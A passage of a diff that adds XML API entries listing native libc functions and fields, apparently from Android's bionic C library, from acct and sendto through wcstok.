+      <method abstract="false" deprecated="not deprecated" final="true" name="acct" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sendto" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ttyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mkostemp64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="get_nprocs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigblock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setitimer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_compress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getstack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strchrnul" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_atexit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wmemset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fwprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="open64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="signal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__memchr_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ffs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mbtowc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="alphasort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dn_expand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswlower_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="preadv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="unlinkat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fputc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="toupper_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcschr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__strncat_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lrand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mknod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sched_yield" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="__p_class_syms" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setfsuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isdigit_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__strcat_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="clock_adjtime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_settype" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fputs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strncasecmp_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getpid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="optreset" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isalnum_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="listen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="perror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="stdout" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wctype_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="popen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtoull" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_get32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vwarn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mbstowcs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strncmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_parserr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="utimes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="scandir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_trylock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="regcomp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsxfrm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cfgetispeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_put16" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pututline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setlogmask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="towlower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswupper_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mkstemp64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_self" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setbuf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sem_trywait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__libc_current_sigrtmax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcscasecmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isdigit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sendmsg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtoul_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__stpncpy_chk2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="realloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tdestroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nftw64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ppoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__isinff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="munmap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcslcat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__gnu_basename" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtok_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tolower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__isinfl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="islower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="funopen64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fts_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="munlockall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setgroups" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strcasestr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswalpha_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswblank" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="arc4random_uniform" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswblank_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="umount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mprotect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="timer_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="chdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ispunct_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ftruncate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="removexattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strspn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="utimensat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sem_getvalue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="semctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="scandirat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="unlink" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iscntrl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_nquerydomain" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cfgetospeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="futimesat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="freopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strcmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="personality" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="qsort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="quick_exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="endpwent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="_ctype_" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="optarg" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="alarm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inet_network" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setrlimit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setutent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsxfrm_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__pread_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="link" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="syscall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fallocate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtoul" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setlinebuf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigpause" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_put32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="epoll_ctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fileno" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="posix_memalign" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setlocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtouq" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="readdir64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ptsname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtoq" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_nsearch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="swapon" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="random" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="rewind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtol_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="rewinddir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sched_getcpu" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strcasecmp_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vsyslog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_set" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getmntent_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__cmsg_nxthdr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="android_set_abort_message" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcstold_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__assert" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="linkat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="memmem" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__gnu_strerror_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lockf64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="socket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__isfinite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="error_message_count" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="readv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="umount2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_nmkquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mbsnrtowcs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_skip" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="if_indextoname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wctob" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcstoimax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__isnan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pathconf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="remove" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strncpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="chown" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="daemon" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fstatfs64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getdelim" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="localtime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setprogname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswcntrl_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__isnormal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__sched_cpucount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="flistxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="btowc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="error" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inotify_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tcflush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsncmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fpurge" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="readahead" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_thread_atexit_impl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ftruncate64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_setname_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="brk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setschedparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="res_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lfind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="memccpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vwprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="munlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cfmakeraw" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isprint_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="psignal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="execl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigfillset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsspn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gethostent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getprogname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__p_fqname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_wait_any" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isnormalf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="openlog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcscmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inotify_add_watch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fts_children" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setscope" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="execv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="putwchar" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isnormall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_Exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="kill" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vsscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcstod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__write_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcstof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_toupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sendmmsg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setreuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtoumax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ttyname_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcstok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
